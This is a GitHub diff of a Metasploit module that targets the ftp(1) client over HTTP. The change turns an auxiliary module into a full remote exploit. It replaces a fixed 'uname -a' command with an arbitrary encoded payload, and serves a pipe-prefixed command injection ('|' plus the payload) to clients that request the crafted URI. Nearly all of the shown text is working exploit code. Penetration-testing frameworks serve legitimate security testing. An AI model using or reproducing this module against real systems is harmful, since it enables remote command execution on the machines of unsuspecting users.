File tree Expand file tree Collapse file tree 1 file changed +14
-16
lines changed
modules/exploits/unix/http Expand file tree Collapse file tree 1 file changed +14
-16
lines changed Original file line number Diff line number Diff line change 3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- class MetasploitModule < Msf ::Auxiliary
6
+ class MetasploitModule < Msf ::Exploit ::Remote
7
+ Rank = ExcellentRanking
8
+
7
9
include Msf ::Exploit ::Remote ::HttpServer
8
10
include Msf ::Auxiliary ::Report
9
11
@@ -32,22 +34,18 @@ def initialize(info = {})
32
34
] ,
33
35
'DisclosureDate' => 'Oct 28 2014' ,
34
36
'License' => MSF_LICENSE ,
35
- 'Actions' => [
36
- [ 'Service' ]
37
- ] ,
38
- 'PassiveActions' => [
39
- 'Service'
40
- ] ,
41
- 'DefaultAction' => 'Service'
37
+ 'Platform' => 'unix' ,
38
+ 'Arch' => ARCH_CMD ,
39
+ 'Privileged' => false ,
40
+ 'Payload' => { 'BadChars' => '/' } ,
41
+ 'Targets' => [ [ 'ftp(1)' , { } ] ] ,
42
+ 'DefaultTarget' => 0
42
43
) )
43
-
44
- register_options ( [
45
- OptString . new ( 'CMD' , [ true , 'Command to run' , 'uname -a' ] )
46
- ] )
47
44
end
48
45
49
- def run
50
- exploit
46
+ def exploit
47
+ start_service
48
+ sleep
51
49
end
52
50
53
51
def on_request_uri ( cli , request )
@@ -59,7 +57,7 @@ def on_request_uri(cli, request)
59
57
60
58
if request . uri . ends_with? ( sploit )
61
59
send_response ( cli , '' )
62
- print_good ( "Executing `#{ datastore [ 'CMD' ] } '!" )
60
+ print_good ( "Executing `#{ payload . encoded } '!" )
63
61
report_vuln (
64
62
:host => cli . peerhost ,
65
63
:name => self . name ,
@@ -79,6 +77,6 @@ def sploit_uri
79
77
end
80
78
81
79
def sploit
82
- "|#{ datastore [ 'CMD' ] } "
80
+ "|#{ payload . encoded } "
83
81
end
84
82
end
You can’t perform that action at this time.
0 commit comments